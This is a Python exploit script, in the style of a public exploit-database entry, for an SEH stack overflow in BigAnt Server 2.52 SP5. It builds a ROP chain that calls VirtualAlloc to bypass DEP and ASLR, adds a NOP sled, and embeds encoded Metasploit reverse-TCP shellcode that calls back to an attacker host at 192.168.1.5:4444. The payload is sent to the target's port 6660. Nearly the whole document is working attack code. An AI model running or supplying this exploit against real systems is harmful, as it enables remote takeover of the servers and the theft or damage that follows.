# Exploit Title: BigAnt Server 2.52 SP5 SEH Stack Overflow ROP-based exploit (ASLR + DEP bypass)# Date: 03/11/2012# Exploit Author: Lorenzo Cantoni# Vendor Homepage: http://www.bigantsoft.com/# Version: BigAnt Console 2.52 SP5# Tested on: Windows 7 SP0 x86 Italian - expsrv.dll (6.0.9589)# Info: Vulnerability discovered by Lincoln: https://www.securityfocus.com/bid/37520/info
import socket
import sys
#################Attack plan#1) Overwrite SEH handler with a ROP Gadget that will move the stack pointer inside our buffer and continue the execution from there (ADD ESP,something + RETN should be ok)#2) Execute the ROP Chain for a VirtualAlloc() and PUSHAD#3) Run the shellcode#4) Have fun :)################# Memory Layout################## Padding ################### ROP-NOP Sled################### ROP Chain################### Padding################### NOP SLED################### Shellcode################### Padding################### SEH Overwite (Stack Pivot)################### Padding (may be useful for other shellcode?)##################From the original exploit, SEH will be overwritten after 966 bytes
target_address=sys.argv[1]
target_port=6660
#./msfpayload windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.5 LPORT=4444 R | ./msfencode -a x86 -b "\x00\x0a\x0d\x20\x25" -t c# size 317
shellcode = ("\xb8\xc0\xd7\xb6\x97\xdb\xd2\xd9\x74\x24\xf4\x5d\x29\xc9\xb1""\x49\x31\x45\x14\x03\x45\x14\x83\xc5\x04\x22\x22\x4a\x7f\x2b""\xcd\xb3\x80\x4b\x47\x56\xb1\x59\x33\x12\xe0\x6d\x37\x76\x09""\x06\x15\x63\x9a\x6a\xb2\x84\x2b\xc0\xe4\xab\xac\xe5\x28\x67""\x6e\x64\xd5\x7a\xa3\x46\xe4\xb4\xb6\x87\x21\xa8\x39\xd5\xfa""\xa6\xe8\xc9\x8f\xfb\x30\xe8\x5f\x70\x08\x92\xda\x47\xfd\x28""\xe4\x97\xae\x27\xae\x0f\xc4\x6f\x0f\x31\x09\x6c\x73\x78\x26""\x46\x07\x7b\xee\x97\xe8\x4d\xce\x7b\xd7\x61\xc3\x82\x1f\x45""\x3c\xf1\x6b\xb5\xc1\x01\xa8\xc7\x1d\x84\x2d\x6f\xd5\x3e\x96""\x91\x3a\xd8\x5d\x9d\xf7\xaf\x3a\x82\x06\x7c\x31\xbe\x83\x83""\x96\x36\xd7\xa7\x32\x12\x83\xc6\x63\xfe\x62\xf7\x74\xa6\xdb""\x5d\xfe\x45\x0f\xe7\x5d\x02\xfc\xd5\x5d\xd2\x6a\x6e\x2d\xe0""\x35\xc4\xb9\x48\xbd\xc2\x3e\xae\x94\xb2\xd1\x51\x17\xc2\xf8""\x95\x43\x92\x92\x3c\xec\x79\x63\xc0\x39\x2d\x33\x6e\x92\x8d""\xe3\xce\x42\x65\xee\xc0\xbd\x95\x11\x0b\xd6\x3f\xeb\xdc\x19""\x17\xf2\x19\xf2\x65\xf5\x30\x5e\xe0\x13\x58\x4e\xa4\x8c\xf5""\xf7\xed\x47\x67\xf7\x38\x22\xa7\x73\xce\xd2\x66\x74\xbb\xc0""\x1f\x74\xf6\xbb\xb6\x8b\x2d\xd1\x36\x1e\xc9\x70\x60\xb6\xd3""\xa5\x46\x19\x2c\x80\xdc\x90\xb8\x6b\x8b\xdc\x2c\x6c\x4b\x8b""\x26\x6c\x23\x6b\x12\x3f\x56\x74\x8f\x53\xcb\xe1\x2f\x02\xbf""\xa2\x47\xa8\xe6\x85\xc8\x53\xcd\x17\x35\x82\x28\x92\x4f\xa0""\x58\x5e")#ROP Chain target##EAX = NOP (0x90909090)#ECX = flProtect (0x40)#EDX = flAllocationType (0x1000)#EBX = dwSize (0x1)#ESP = lpAddress (automatic)#EBP = ReturnTo (ptr to jmp esp)#ESI = ptr to VirtualAlloc()#EDI = ROP NOP (RETN)# we will ROP inside VBAJET32.DLL which is proprietary and an OS DLL, C:\Windows\system32\expsrv.dll# ADJUST EDX AND EDI
ropchain = ''for i in range(0,16): ropchain = ropchain +'\xc5\x86\x9e\x0f'#ADD EAX 100 - RETN# REPEAT 16 TIMES
ropchain = ropchain +'\x3c\xe4\x9e\x0f'# The next gadget point to the following#0F9EE43C 8BD0 MOV EDX,EAX#0F9EE43E 8D41 08LEA EAX,DWORD PTR DS:[ECX+8]#0F9EE441 C1E0 04SHL EAX,4#0F9EE444 2BC2 SUB EAX,EDX#0F9EE446 5F POP EDI#0F9EE447 5E POP ESI#0F9EE448 5D POP EBP#0F9EE449 5B POP EBX#0F9EE44A C3 RETN# According to myregisters values, at pivoting time ECX+8 should point to a valid memory location so we go on
ropchain = ropchain +'\x9f\x18\x9a\x0f'# RETN POPPED IN EDI (ROP-NOP)
ropchain = ropchain +'\x41\x41\x41\x41'# compensation for POP ESI
ropchain = ropchain +'\x41\x41\x41\x41'# compensation for POP EBP
ropchain = ropchain +'\xff\xff\xff\xff'# will be popped in EBX (and incremented later)# ADJUST ESI. We load the pointer for VirtualAlloc() and then resolve the address
ropchain = ropchain +'\x3c\x7c\x9c\x0f'# POP EAX RETN
ropchain = ropchain +'\xb4\x10\x9a\x0f'# POINTER TO *VirtualAlloc() # !mona ropfunc -m VBAJET32.DLL -cpb '\x00\x0a\x0d\x20\x25'
ropchain = ropchain +'\x09\x2b\x9a\x0f'# we execute a POP ESI + RETN and we load a ROP NOP inside, as we have a CALL ESI later.
ropchain = ropchain +'\x9f\x18\x9a\x0f'# ROP NOP
ropchain = ropchain +'\x9c\x47\x9a\x0f'# resolves the pointer: MOV EAX, DWORD PTR DS:[EAX] -RETN
ropchain = ropchain +'\x06\x2b\x9a\x0f'# PUSH EAX - CALL ESI - POP ESI - RETN # save the address of VirtualAlloc, call a ROP NOP we have loaded previously, pop the address of VirtualAlloc in ESI, return.# ADJUST EBXfor i in range(0,2): ropchain = ropchain +'\x08\xa7\x9c\x0f'# INC EBX - RETN # Repeat 2 times, we'll have ebx=1# ADJUST ECX
ropchain = ropchain +'\x0c\x1f\x9a\x0f'# pop ecx retn
ropchain = ropchain +'\xff\xff\xff\xff'# popped valuefor i in range(0,65): ropchain = ropchain +'\xad\x34\x9c\x0f'#INC ECX - ADD AL,24 - RETN # repeat for 66 times, we'll have ecx=0x40. Dirty way, but we have a lot of space for our ropchain+shellcode# ADJUST EBP#Need a gadget which redirect the execution to the stack.
ropchain = ropchain +'\xaf\x8b\x9c\x0f'# POP EBP retn
ropchain = ropchain +'\x62\x21\x9e\x0f'# Gadget to the following instructions: PUSH ESP - AND AL,1C - RETN# ADJUST EAX
ropchain = ropchain +'\x3c\x7c\x9c\x0f'# POP EAX - RETN
ropchain = ropchain +'\x90\x90\x90\x90'# value popped in eax# PUSHAD Gadget
ropchain = ropchain +'\xc2\x30\x9f\x0f'# PUSHAD - RETN######### END OF ROP CHAIN
nopsled = "\x90"* 12 # A little bit of nop sled before our shellcode
ropchain = ropchain + nopsled
######### WE HAVE ROP CHAIN + NOPSLED
payload = '\x41'* 198 #ropchain starts after 210 bytes of padding, due add esp,514
ropnopsled = ''for i in range (0,5): ropnopsled = ropnopsled +'\x9f\x18\x9a\x0f'# we place some ROP NOP around the 210th byte
payload = payload + ropnopsled
######## END OF PADDING + ROP NOP SLED
payload = payload + ropchain
payload = payload + shellcode
payload = payload +'\x41'*(966 - 198 - len(ropnopsled + ropchain+shellcode))
payload = payload +'\x4d\x26\x9a\x0f'#stack pivoting (overwrite SEH) OF9A264d vbajet32.dll # ADD ESP,514 - RETN####### STACK PIVOTED AND SHELLCODE PLACED
padding = '\x90'*(2504 - len(payload))#Will fill the area after the SEH ovewrite. It might be possible to craft a second staged payload which executes after a jmp short placed in the first overwritten area
buffer = "USV "+ payload + padding +"\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
